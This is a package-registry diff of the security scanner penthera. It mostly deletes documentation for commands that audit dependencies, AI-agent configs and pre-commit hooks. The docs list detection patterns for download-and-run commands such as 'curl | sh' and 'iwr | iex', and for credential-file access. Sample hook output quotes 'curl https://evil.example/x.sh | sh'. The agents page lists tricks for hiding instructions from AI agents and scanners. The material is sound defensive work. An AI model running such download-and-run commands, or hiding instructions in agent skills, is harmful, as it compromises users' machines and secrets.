penthera 1.7.0 → 1.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (163) hide show
  1. package/CHANGELOG.md +315 -0
  2. package/README.md +139 -76
  3. package/SECURITY.md +8 -6
  4. package/docs/examples/pr-dependency-review.yml +1 -1
  5. package/lib/adaptive-probes.js +3 -3
  6. package/lib/advisories/evidence.js +248 -0
  7. package/lib/advisories/index.js +228 -0
  8. package/lib/advisories/products.js +83 -0
  9. package/lib/advisories/versions.js +65 -0
  10. package/lib/agents/hidden-content.js +122 -11
  11. package/lib/agents/index.js +26 -6
  12. package/lib/agents/lock.js +33 -5
  13. package/lib/agents/rules.js +33 -4
  14. package/lib/compliance/index.js +4 -4
  15. package/lib/crawler.js +12 -15
  16. package/lib/deps/capabilities.js +21 -5
  17. package/lib/deps/findings.js +309 -0
  18. package/lib/deps/index.js +13 -272
  19. package/lib/deps/iocs.js +74 -0
  20. package/lib/deps/lockfile.js +3 -8
  21. package/lib/deps/online.js +8 -3
  22. package/lib/deps/popular-packages.json.gz +0 -0
  23. package/lib/deps/popular-pypi.json.gz +0 -0
  24. package/lib/deps/python/capabilities.js +16 -3
  25. package/lib/deps/python/index.js +5 -1
  26. package/lib/deps/python/lockfiles.js +11 -5
  27. package/lib/deps/python/source.js +75 -26
  28. package/lib/deps/python/toml.js +15 -3
  29. package/lib/deps/source.js +28 -9
  30. package/lib/deps/typosquat.js +30 -5
  31. package/lib/fix/apply.js +253 -34
  32. package/lib/fix/index.js +7 -4
  33. package/lib/fix/model.js +25 -5
  34. package/lib/fix/util.js +6 -2
  35. package/lib/fuzzer.js +3 -3
  36. package/lib/git.js +65 -0
  37. package/lib/hook/index.js +157 -73
  38. package/lib/hook/policy.js +10 -4
  39. package/lib/install/index.js +4 -7
  40. package/lib/machine.js +0 -13
  41. package/lib/memory/store.js +11 -4
  42. package/lib/nuclei-loader.js +0 -25
  43. package/lib/owasp-wstg.js +4 -0
  44. package/lib/plugins.js +1 -1
  45. package/lib/provenance.js +1 -0
  46. package/lib/recon.js +12 -31
  47. package/lib/references.json +224 -0
  48. package/lib/retirejs.js +4 -4
  49. package/lib/rules/advisories/advisories.json +186 -0
  50. package/lib/rules/advisories/eol.json +413 -0
  51. package/lib/rules/advisories/pack.json +20 -0
  52. package/lib/rules/advisories/pack.json.sig +6 -0
  53. package/lib/rules/allowed_signers +13 -0
  54. package/lib/rules/core/agent-exec.json +29 -0
  55. package/lib/rules/core/agent-instructions.json +17 -0
  56. package/lib/rules/core/pack.json +30 -0
  57. package/lib/rules/core/pack.json.sig +6 -0
  58. package/lib/rules/core/secrets.json +161 -0
  59. package/lib/rules/core/templates.json +52 -0
  60. package/lib/rules/index.js +107 -0
  61. package/lib/rules/ioc-2025-2026/files.json +43 -0
  62. package/lib/rules/ioc-2025-2026/hosts.json +35 -0
  63. package/lib/rules/ioc-2025-2026/pack.json +25 -0
  64. package/lib/rules/ioc-2025-2026/pack.json.sig +6 -0
  65. package/lib/rules/ioc-2025-2026/packages.json +1048 -0
  66. package/lib/rules/pack.js +452 -0
  67. package/lib/rules/regex-guard.js +81 -9
  68. package/lib/rules/sshsig.js +205 -0
  69. package/lib/templates.js +24 -20
  70. package/lib/tmp.js +21 -0
  71. package/lib/whitebox/frameworks.js +1 -1
  72. package/lib/whitebox/secrets.js +117 -41
  73. package/package.json +12 -4
  74. package/scripts/rules/build-pack.mjs +80 -0
  75. package/scripts/rules/check-bundled.mjs +30 -0
  76. package/scripts/rules/sign-pack.sh +32 -0
  77. package/skills/penthera/SKILL.md +16 -15
  78. package/src/agent/git.js +147 -14
  79. package/src/agent/loop.js +165 -46
  80. package/src/cli/agent.js +11 -5
  81. package/src/cli/deps.js +0 -2
  82. package/src/cli/detect.js +14 -7
  83. package/src/cli/fix.js +26 -8
  84. package/src/cli/hook.js +2 -1
  85. package/src/cli/onboarding.js +14 -6
  86. package/src/cli/report-outputs.js +1 -0
  87. package/src/cli/rules.js +144 -0
  88. package/src/cli/ui.js +43 -10
  89. package/src/cli.js +24 -1
  90. package/src/report/evidence.js +105 -21
  91. package/src/report/footer.js +1 -1
  92. package/src/report/md-escape.js +8 -0
  93. package/src/scan-repo.js +6 -0
  94. package/src/scan-url.js +11 -3
  95. package/src/ui/api/data.js +39 -6
  96. package/src/ui/api/routes.js +44 -11
  97. package/src/ui/api/runs.js +32 -7
  98. package/src/ui/security.js +20 -23
  99. package/src/ui/server.js +52 -27
  100. package/src/ui/static/app.css +583 -213
  101. package/src/ui/static/favicon.svg +1 -1
  102. package/src/ui/static/fonts/DepartureMono-LICENSE.txt +93 -0
  103. package/src/ui/static/fonts/DepartureMono-Regular.woff2 +0 -0
  104. package/src/ui/static/index.html +5 -4
  105. package/src/ui/static/js/api.js +114 -6
  106. package/src/ui/static/js/app.js +81 -42
  107. package/src/ui/static/js/center.js +246 -133
  108. package/src/ui/static/js/charts.js +99 -18
  109. package/src/ui/static/js/copy.js +68 -9
  110. package/src/ui/static/js/dialog.js +152 -0
  111. package/src/ui/static/js/left.js +23 -60
  112. package/src/ui/static/js/menubar.js +170 -0
  113. package/src/ui/static/js/onboarding.js +104 -0
  114. package/src/ui/static/js/panels.js +186 -0
  115. package/src/ui/static/js/right.js +69 -188
  116. package/src/ui/static/js/state.js +36 -5
  117. package/src/ui/static/logo.svg +10 -0
  118. package/src/ui/static/mark.svg +3 -0
  119. package/src/utils/http.js +162 -13
  120. package/docs/METHODOLOGY.md +0 -375
  121. package/docs/commands/README.md +0 -24
  122. package/docs/commands/action.md +0 -21
  123. package/docs/commands/agents.md +0 -38
  124. package/docs/commands/deps.md +0 -115
  125. package/docs/commands/fix.md +0 -53
  126. package/docs/commands/hook.md +0 -69
  127. package/docs/commands/init.md +0 -114
  128. package/docs/commands/install.md +0 -53
  129. package/docs/commands/scan.md +0 -100
  130. package/docs/commands/skill.md +0 -58
  131. package/docs/compare/README.md +0 -25
  132. package/docs/compare/github.md +0 -60
  133. package/docs/compare/semgrep.md +0 -54
  134. package/docs/compare/snyk.md +0 -62
  135. package/docs/compare/socket.md +0 -78
  136. package/docs/compare/zap.md +0 -59
  137. package/docs/compliance-cra.md +0 -141
  138. package/docs/compliance-nis2.md +0 -168
  139. package/docs/dashboard.md +0 -187
  140. package/docs/evidence.md +0 -162
  141. package/docs/funding/due-diligence-checklist.md +0 -79
  142. package/docs/funding/nlnet-ngi-zero-draft.md +0 -273
  143. package/docs/funding/partner-one-pager.md +0 -84
  144. package/docs/funding/sponsor-tiers.md +0 -81
  145. package/docs/index.md +0 -81
  146. package/docs/internal-audit.md +0 -83
  147. package/docs/local-loop.md +0 -276
  148. package/docs/marketing.md +0 -151
  149. package/docs/owasp-wstg-coverage.md +0 -79
  150. package/docs/plan.md +0 -102
  151. package/docs/privacy.md +0 -38
  152. package/docs/references.bib +0 -559
  153. package/docs/references.md +0 -119
  154. package/docs/release-plan.md +0 -228
  155. package/docs/research/socket-positioning-notes.md +0 -183
  156. package/docs/use-cases/README.md +0 -14
  157. package/docs/use-cases/agencies.md +0 -71
  158. package/docs/use-cases/ai-coding-teams.md +0 -81
  159. package/docs/use-cases/eu-sme-compliance.md +0 -68
  160. package/docs/use-cases/open-source-maintainers.md +0 -75
  161. package/docs/use-cases/solo-founder.md +0 -65
  162. package/lib/deps/popular-packages.json +0 -1
  163. package/lib/deps/popular-pypi.json +0 -1
@@ -1,21 +0,0 @@
1
- # The GitHub Action
2
-
3
- ### Use as a GitHub Action
4
-
5
- ```yaml
6
- - uses: danoszz/penthera@<release-commit-sha> # v1.4.0
7
- with:
8
- mode: deps # deps | agents | scan (scan also needs url:)
9
- fail-on: none # none | high | critical
10
- ```
11
-
12
- On every pull request it posts one comment with the capability diff against
13
- the PR base and edits that same comment on each push. It also uploads SARIF to
14
- code scanning. Penthera runs from the action's own checkout: no npx, no install
15
- from npm, no registry lookups. On fork PRs the token is read-only, so the diff
16
- goes to the job summary instead. Inputs: `mode`, `path`, `base-ref`, `url`,
17
- `fail-on`, `comment`, `sarif`, `penthera-version`. Copy the full workflow, with
18
- permissions and a lockfile paths filter, from
19
- [`docs/examples/pr-dependency-review.yml`](../examples/pr-dependency-review.yml).
20
-
21
- [Back to the README](../../README.md) · [All commands](README.md)
@@ -1,38 +0,0 @@
1
- # Auditing your AI tooling: `penthera agents`
2
-
3
- ## Audit your agent setup
4
-
5
- Your AI tools run code too. `penthera agents` audits the skills, MCP servers,
6
- hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
7
- Desktop, VS Code and Copilot load, and grades the setup A to F.
8
-
9
- ```bash
10
- penthera agents # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
11
- penthera agents --home # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
12
- penthera agents ./some-skill # vet a downloaded skill before you install it
13
- penthera agents --pin # write penthera.lock; later runs flag anything that changed
14
- ```
15
-
16
- It is **offline and deterministic**: no LLM judge, no registry lookups, nothing
17
- leaves your machine, and it never modifies the config it reads. Every verdict
18
- is a rule you can read in [`lib/agents/`](../../lib/agents/), so a skill can't talk
19
- its way past it.
20
-
21
- | Check | What it catches |
22
- |---|---|
23
- | Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), `.pyc`/archives/executables in a skill folder (by magic bytes, so a renamed `.png` doesn't hide one), symlinks that leave the folder |
24
- | Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
25
- | MCP servers | `npx -y` / `uvx` / `bunx` / `pnpm dlx` without an exact version, inline secrets in `env`, headers or args (same rules as the repo secret scan), remote servers over plain `http://` |
26
- | Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), `Bash(*)` and other wildcard allows, `bypassPermissions`, allow rules for `~/.ssh` and other credential files, wildcards in a skill's `allowed-tools` |
27
- | Plugins | Marketplaces and marketplace plugins not pinned to a commit |
28
- | Rug pulls | `--pin` writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to `penthera.lock`. A later run reports what changed, appeared or disappeared |
29
-
30
- Each finding names the OWASP [MCP Top 10](https://owasp.org/www-project-mcp-top-10/)
31
- and [Agentic Top 10](https://genai.owasp.org/) (ASI) ids it maps to, and the
32
- usual `--json`, `-o`, `--markdown` and `--sarif` outputs all work. The scanner
33
- is built for the ways LLM-judged skill scanners have been bypassed: it reads
34
- whole files (no context window to overflow), every file in a skill folder (not
35
- just `SKILL.md`), and treats text aimed at a reviewer as a finding rather than
36
- an argument.
37
-
38
- [Back to the README](../../README.md) · [All commands](README.md)
@@ -1,115 +0,0 @@
1
- # Dependency risk: `penthera deps`
2
-
3
- ## Dependency risk: what can your packages do?
4
-
5
- A lockfile change is code you did not write, about to run with your app's access
6
- to files, network, environment and CI secrets. `penthera deps` reads
7
- `package-lock.json`, statically scans every installed package, and tells you
8
- what each one *can do*, and which packages are new or gained capabilities in an
9
- upgrade.
10
-
11
- ```bash
12
- penthera deps # every package in node_modules
13
- penthera deps --base origin/main # capability diff vs the lockfile on main
14
- penthera deps --diff ../base-checkout # diff vs another installed tree (or an old package-lock.json)
15
- penthera deps --pr-comment deps.md # short Markdown diff for a PR comment
16
- ```
17
-
18
- ```
19
- ▲ net-helper 1.0.0 → 1.1.0 + network, whole environment
20
- node_modules/net-helper/index.js:3 const https = require('https');
21
- node_modules/net-helper/index.js:5 const body = JSON.stringify(process.env);
22
- ```
23
-
24
- | Capability | Detected from |
25
- |---|---|
26
- | Install scripts | `preinstall` / `install` / `postinstall`, and `binding.gyp` (npm runs `node-gyp` implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
27
- | Shell, network, dynamic code | `child_process`; `http`/`https`/`net`/`dgram`/`tls`/`http2`, `fetch`, `WebSocket`; `eval`, `new Function`, `vm` |
28
- | Environment | `process.env` reads, and bulk access (`JSON.stringify(process.env)`, enumeration). Serialising the environment next to network code is reported as likely exfiltration |
29
- | Files, modules, native | Writes near home-directory or system paths; computed `require()`/`import()`; `.node` addons and `binding.gyp` |
30
- | Obfuscation | Obfuscator identifiers (`_0x…`), `\x`-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI colour codes are recognised and ignored) |
31
- | Attack indicators | Writes to `~/.claude`, `~/.cursor`, `.mcp.json` or the Claude Desktop config; running the `claude`, `gemini` or `q` CLIs (the s1ngularity pattern); GitHub token harvesting |
32
- | Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
33
-
34
- Every capability carries `file:line` evidence. It is a regex-and-tokenizer pass,
35
- not a full parser: deterministic, never executes package code, and fast enough
36
- for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
37
- trees of 500 to 1,700 packages). A capability is what code
38
- *can* do, not proof that it is malicious; the findings carry honest confidence
39
- labels (`potential` for obfuscation and typosquats).
40
-
41
- **Offline by default.** Old versions for the diff come from the base tree's
42
- `node_modules` or from npm's local cache (`~/.npm/_cacache`), looked up by the
43
- lockfile's integrity hash and verified byte for byte. `--online` is the only
44
- network use: it asks the npm registry for publish dates, publisher changes and
45
- deprecations, and fetches old tarballs the cache does not have (verified the
46
- same way). To comment the capability diff on every PR that changes the
47
- lockfile, use the GitHub Action below.
48
-
49
- ### npm and Python
50
-
51
- The same command reads Python projects: `uv.lock`, `poetry.lock`, `pdm.lock`,
52
- `Pipfile.lock` or `requirements*.txt` (pinned and `--hash` lines), and the
53
- installed `.venv` / `venv` (or `--venv <path>`) through
54
- `site-packages/*.dist-info` `RECORD` files, without running pip or Python. A
55
- repo with both a `package-lock.json` and Python inputs gets one combined report.
56
-
57
- ```bash
58
- penthera deps # uv.lock + .venv
59
- penthera deps --venv ~/.venvs/app # a virtualenv somewhere else (no lockfile needed)
60
- penthera deps --base origin/main # capability diff vs the Python lockfile on main
61
- ```
62
-
63
- Capabilities and evidence are the same as for npm (`subprocess`/`os.system`,
64
- `socket`/`requests`/`httpx`/`aiohttp`, `os.environ` bulk access,
65
- `eval`/`exec`/`compile`, computed `__import__`, native `.so`/`.pyd`, AI-agent
66
- indicators), plus what is specific to Python: `setup.py` custom commands
67
- (install-time code), `.pth` files with `import` lines (they run on every
68
- interpreter start, a known persistence trick), unpickling, `exec` of a
69
- base64/zlib-decoded payload, installed files that no longer match their
70
- `RECORD` hash, and `.pth` files no distribution owns. Old versions for the diff
71
- come from pip's HTTP cache (matched by the lockfile's sha256) or uv's cache
72
- (by recorded hash), otherwise they are marked "not compared". Typosquats are
73
- checked against the top 8,000 PyPI projects, PEP 503 normalised.
74
- `--online` registry checks are npm-only for now.
75
-
76
- ### License policy
77
-
78
- ```bash
79
- penthera deps --license-policy permissive # or weak-copyleft-ok, no-agpl
80
- penthera deps --license-policy legal/policy.json # a file with a "licenses" section
81
- ```
82
-
83
- Without the flag, `penthera deps` applies the `licenses` section of
84
- `penthera.policy.json` when there is one:
85
-
86
- ```json
87
- {
88
- "licenses": {
89
- "preset": "permissive",
90
- "allow": ["Python-2.0"],
91
- "deny": ["WTFPL"],
92
- "allowPackages": ["@acme/*", "sharp@0.33.5"],
93
- "unknown": "warn"
94
- }
95
- }
96
- ```
97
-
98
- | Preset | Allows |
99
- |---|---|
100
- | `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
101
- | `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
102
- | `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
103
-
104
- Licenses come from the lockfile (npm records them in v2 and v3), else from
105
- the installed `package.json`. Expressions are parsed as SPDX:
106
- `MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
107
- `MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
108
- matched to their current form, so a deny of `AGPL-3.0-only` also catches a
109
- package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
110
- are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
111
- medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
112
- legal review has cleared. Findings use category `license` and appear in every
113
- output format, and `--sbom` now records each component's license.
114
-
115
- [Back to the README](../../README.md) · [All commands](README.md)
@@ -1,53 +0,0 @@
1
- # Fixing what it finds: `penthera fix` and `penthera agent --loop`
2
-
3
- ## Scan and fix
4
-
5
- Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.
6
-
7
- ```
8
- "Scan my app and fix what you find"
9
- "Fix the security headers on my Next.js app and re-scan to confirm"
10
- "Find and fix hardcoded secrets in this repo"
11
- ```
12
-
13
- Fixes come from a [remediation playbook](../../skills/penthera/references/remediation.md) covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see [secure defaults](../../skills/penthera/references/secure-defaults.md).
14
-
15
- ### Fix recipes
16
-
17
- For the most common findings you don't need an agent at all. `penthera fix` plans deterministic, local fixes and prints each one as a unified diff:
18
-
19
- ```bash
20
- penthera fix --plan --repo . # fresh repo scan, one diff per fix
21
- penthera fix --plan --repo . -o report.json # or use the findings from an earlier scan
22
- penthera fix --apply <id> --repo . # apply one diff after you approve it
23
- ```
24
-
25
- | Recipe | What it changes | Frameworks |
26
- |--------|-----------------|------------|
27
- | `security-headers` | Adds a starter CSP (with `frame-ancestors`), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options | Next.js (`headers()` in `next.config.*`), Express (`helmet` if installed, otherwise a small middleware), Fastify (`@fastify/helmet` if installed, otherwise an `onSend` hook), Hono (`secureHeaders`) |
28
- | `cookie-flags` | Adds `httpOnly`, `secure` and `sameSite` to cookies set in code | `res.cookie`, `reply.setCookie`, Hono `setCookie`, Next.js `cookies().set` |
29
- | `cors-allowlist` | Replaces `cors()`, `origin: "*"`, `origin: true` and `origin \|\| "*"` with an allowlist from `CORS_ALLOWED_ORIGINS` | Express, Fastify, Hono, Next.js route handlers |
30
- | `auth-rate-limit` | Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (`express-rate-limit` if installed), Fastify, Hono, Next.js App Router |
31
- | `secret-to-env` | Moves a hardcoded secret in JS/TS to `process.env.NAME` and adds `NAME=` to `.env.example` | Any |
32
-
33
- How it stays safe:
34
-
35
- - **Planning never writes.** Applying is a separate step: it needs a plan id plus a `y/N` confirmation (or `--yes`), refuses a dirty git tree unless you pass `--allow-dirty`, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
36
- - **Conservative edits.** No AST rewriting: each recipe edits at an anchor it recognises exactly (`const app = express()`, the exported Next.js config object, a one-line `res.cookie(...)`). If the anchor isn't there, or the code already does something custom (an existing `headers()`, cookie options in a variable), the recipe returns no plan instead of a risky diff.
37
- - **Owner actions are listed, not done.** A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting `CORS_ALLOWED_ORIGINS`.
38
- - **Secrets stay masked.** The secret's value is masked in printed and `--json` plans.
39
- - **Verified.** After `--apply`, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.
40
-
41
- No recipe for a finding? `--fix-model <name>` can ask a model running in [Ollama](https://ollama.com) on `127.0.0.1:11434`, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled `needs-human-review`.
42
-
43
- ### The local loop: `penthera agent --loop`
44
-
45
- `penthera agent --loop` runs scan → fix → verify → learn on your machine until nothing fixable is left (or `--max-iterations`, default 5):
46
-
47
- ```bash
48
- penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
49
- ```
50
-
51
- It shows each diff and asks `y/n/skip/quit`, applies it on a local branch `penthera/fix-<yyyymmdd-hhmm>`, re-scans (plus your tests with `--run-tests`), commits the fix if it verified and reverts it if not, and records the outcome in [local memory](../local-loop.md). It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the `--url` host, and never pushes or opens a pull request. `--auto low` applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the `loopRun` JSON: [docs/local-loop.md](../local-loop.md#the-agent-loop).
52
-
53
- [Back to the README](../../README.md) · [All commands](README.md)
@@ -1,69 +0,0 @@
1
- # Pre-commit hook: `penthera hook`
2
-
3
- ## Block it before it's committed
4
-
5
- Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
6
- the checks that matter on what you are about to commit, and nothing else:
7
-
8
- ```bash
9
- penthera hook install # writes .git/hooks/pre-commit; an existing hook is kept and runs first
10
- penthera hook run # what the hook runs; try it on staged changes
11
- penthera hook uninstall # removes it and puts your old hook back
12
- ```
13
-
14
- On staged content only (the git index, not your working tree):
15
-
16
- - secrets and AI provider keys in staged files;
17
- - `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
18
- `.cursor/`, `.claude/` and `skills/`;
19
- - when `package-lock.json` is staged, the capability diff against HEAD's
20
- lockfile and the license policy, for the packages this commit adds.
21
-
22
- ```
23
- ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
24
-
25
- ✗ CRITICAL .mcp.json MCP server "x" launches by downloading and running code id b5914a44a2058da9
26
- → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
27
- ✗ CRITICAL config.js:1 Anthropic API key in source sk-a…AAAA id 7a0eb6998ff38787
28
- → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
29
-
30
- Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
31
- { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
32
- To skip the check for one commit: git commit --no-verify (the finding still ships)
33
- ```
34
-
35
- It blocks on high and critical by default and takes about 0.1 to 0.5 s.
36
- Configure it in `penthera.policy.json`:
37
-
38
- ```json
39
- { "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
40
- "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
41
- ```
42
-
43
- If husky or lefthook manage your hooks (`core.hooksPath` is set),
44
- `penthera hook install` says so instead of overwriting them. Add one line to
45
- that tool instead:
46
-
47
- ```bash
48
- # husky
49
- echo "npx --no-install penthera hook run" >> .husky/pre-commit
50
- ```
51
-
52
- ```yaml
53
- # lefthook.yml
54
- pre-commit:
55
- commands:
56
- penthera:
57
- run: npx --no-install penthera hook run
58
- ```
59
-
60
- ```yaml
61
- # .pre-commit-config.yaml (pre-commit.com)
62
- repos:
63
- - repo: https://github.com/danoszz/penthera
64
- rev: <tag or sha>
65
- hooks:
66
- - id: penthera
67
- ```
68
-
69
- [Back to the README](../../README.md) · [All commands](README.md)
@@ -1,114 +0,0 @@
1
- # Set up in one command: `penthera init`
2
-
3
- ## Start here
4
-
5
- New to Penthera? Run it with no arguments in your project folder:
6
-
7
- ```bash
8
- npx penthera # in a terminal, with no arguments: the setup wizard
9
- penthera init # the same wizard, by name (also works with piped answers)
10
- penthera init --yes # accept every safe default, ask nothing
11
- penthera init --dry-run # show what would run and be written, change nothing
12
- ```
13
-
14
- The wizard finds what your project has, asks one question about what to check,
15
- runs those checks offline, shows one summary, and then offers to set up the
16
- hook, the CI workflow and the rest, one yes/no at a time. Press Enter to accept
17
- a default.
18
-
19
- ## What it does
20
-
21
- **1. Detect.** Offline, read-only:
22
-
23
- - whether this is a git repository (and which branch);
24
- - the web framework, from `package.json`, `requirements.txt` or `pyproject.toml`;
25
- - lockfiles: `package-lock.json`, `npm-shrinkwrap.json`, `uv.lock`,
26
- `poetry.lock`, `pdm.lock`, `Pipfile.lock`, `requirements.txt`;
27
- - agent config: `.mcp.json`, `.claude/`, `.cursor/`, `CLAUDE.md`, `AGENTS.md`, `skills/`;
28
- - a dev server on localhost ports 3000, 5173, 8000 or 8080 (a TCP connect to
29
- 127.0.0.1 and ::1, nothing else);
30
- - whether the Penthera pre-commit hook or a Penthera GitHub workflow is already there.
31
-
32
- **2. Ask what to check.** One checklist, with defaults from what was found.
33
- Type numbers to toggle items (`2,4`), or press Enter:
34
-
35
- ```
36
- What should Penthera check?
37
- 1. [x] Code: secrets and risky API routes in ./ penthera --repo .
38
- 2. [x] Dependencies: what your npm and Python packages can do penthera deps
39
- 3. [x] AI tooling: skills, MCP servers, hooks, agent instructions penthera agents
40
- 4. [ ] The running app at http://localhost:3000 only if it is yours
41
- 5. [x] Offline mode: nothing leaves this machine recommended
42
- ```
43
-
44
- - AI tooling then asks whether to include `~/.claude` and `~/.cursor` too (default no).
45
- - The running app is only listed when a dev server answered, is never
46
- preselected, and is only scanned after you confirm it is yours (default no).
47
- It runs the standard safe checks: no attack payloads.
48
- - With offline mode off, `deps` also reads npm registry metadata and the URL
49
- scan may download the Retire.js database. Nothing else changes.
50
-
51
- **3. Run and summarize.** One line per check, then the grade per area (A to F,
52
- the same scale as `penthera agents`), the three things to fix first in plain
53
- language, and the report folder:
54
-
55
- ```
56
- Running 3 checks (offline)
57
- ✓ Code B 1 high 0.1s
58
- ✓ Dependencies A no issues 0.0s
59
- ✓ AI tooling A 1 medium 0.0s
60
- ```
61
-
62
- Every report lands in `reports/penthera-<date>/`: `code`, `deps`, `agents` and
63
- `app` as JSON and Markdown, plus `summary.md` and `summary.json`.
64
-
65
- **4. Set up.** Each step is a yes/no:
66
-
67
- | Step | Default | What it does |
68
- |---|---|---|
69
- | Pre-commit hook | yes | `penthera hook install`: blocks staged secrets, risky agent config and lockfile changes ([hook.md](hook.md)). Git repos only |
70
- | GitHub workflow | yes | Writes `.github/workflows/penthera.yml` from [the PR dependency review example](../examples/pr-dependency-review.yml), with the action pinned to the release commit SHA. Shown as a diff first. Needs a git repo and `package-lock.json` |
71
- | `.gitignore` | yes | Appends `reports/` so scan output is never committed |
72
- | Fix loop | no | `penthera agent --loop` on a local `penthera/fix-<date>` branch; every diff asks first ([fix.md](fix.md)) |
73
- | Dashboard | yes | `penthera ui --open` on this run's reports ([dashboard.md](../dashboard.md)). Runs until Ctrl-C |
74
-
75
- Steps that are already done (a hook or workflow that exists, `reports/` already
76
- ignored) are skipped and say so.
77
-
78
- **5. What next.** The commands to rerun each check, check staged changes, run
79
- the fix loop or open the dashboard.
80
-
81
- ## `--yes` and `--dry-run`
82
-
83
- `--yes` answers every question with its safe default: the code, dependency and
84
- AI tooling checks that apply, offline, then the hook, the workflow and
85
- `.gitignore`. It never scans a URL, never runs the fix loop and never opens the
86
- dashboard, even when a dev server is running.
87
-
88
- `--dry-run` runs detection and asks the questions, then prints what it would
89
- run and write instead of doing it. Combine them for a plan with no prompts:
90
-
91
- ```bash
92
- penthera init --yes --dry-run
93
- ```
94
-
95
- `penthera --yes` and `penthera --dry-run` (no other arguments) are the same as
96
- `penthera init --yes` and `penthera init --dry-run`.
97
-
98
- ## What it never does
99
-
100
- - Commit, push, open a pull request, or touch a remote. The workflow file is
101
- written for you to review and commit yourself.
102
- - Write outside the project: reports, `.gitignore` and the workflow go under
103
- the project root (the git top level when there is one), the hook into the
104
- repository's hooks folder.
105
- - Contact anything but localhost, unless you turn offline mode off or confirm
106
- the running app.
107
-
108
- Exit code: 0 when the wizard finishes (whatever the grades), 2 for a bad flag.
109
- For a gate in CI, use the commands themselves (`penthera --repo .`, `penthera deps`):
110
- they exit 1 on high or critical findings.
111
-
112
- The pinned SHA is the last release tagged before this version
113
- (`ACTION_PIN` in `src/cli/onboarding.js`); Dependabot's `github-actions`
114
- updates keep it current in your repo.
@@ -1,53 +0,0 @@
1
- # Install firewall: `penthera install`
2
-
3
- ### Install firewall: `penthera install`
4
-
5
- `penthera deps` tells you what changed after the fact. `penthera install` asks
6
- before anything runs:
7
-
8
- ```bash
9
- penthera install left-pad # check, then install (asks if the policy says so)
10
- penthera install -D vitest --dry-run # report only
11
- penthera install --yes # CI: install only if nothing breaches the policy
12
- ```
13
-
14
- ```
15
- ▲ color-helper 1.0.0 → 1.1.0 + install script
16
- postinstall: node postinstall.js
17
-
18
- Policy defaults (no penthera.policy.json)
19
- ! color-helper@1.1.0 needs approval: install script
20
-
21
- Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
22
- ```
23
-
24
- 1. npm resolves the new tree in a temporary copy of `package.json` and the
25
- lockfile, with scripts off (`npm install --package-lock-only --ignore-scripts`).
26
- 2. New tarballs are fetched with `npm cache add`. Nothing is unpacked into
27
- `node_modules` and no package code runs; each tarball is checked against
28
- the proposed lockfile's integrity before it is read.
29
- 3. The `deps` engine diffs capabilities against your current lockfile, lists
30
- new install scripts with their commands, and checks new names for typosquats.
31
- 4. `penthera.policy.json` decides. On approval, the reviewed lockfile is
32
- installed as is, with `--ignore-scripts` unless you approved the scripts
33
- (on npm 12+, approved scripts are pinned in `package.json` `allowScripts`).
34
- On abort, exit code 1, and the project is byte for byte unchanged.
35
-
36
- ```json
37
- {
38
- "allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
39
- "deny": ["ai-cli-invoke", "token-harvest"],
40
- "requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
41
- "token-harvest", "obfuscated", "typosquat", "unscanned"]
42
- }
43
- ```
44
-
45
- `deny` and `requireApproval` take capability ids from the table above
46
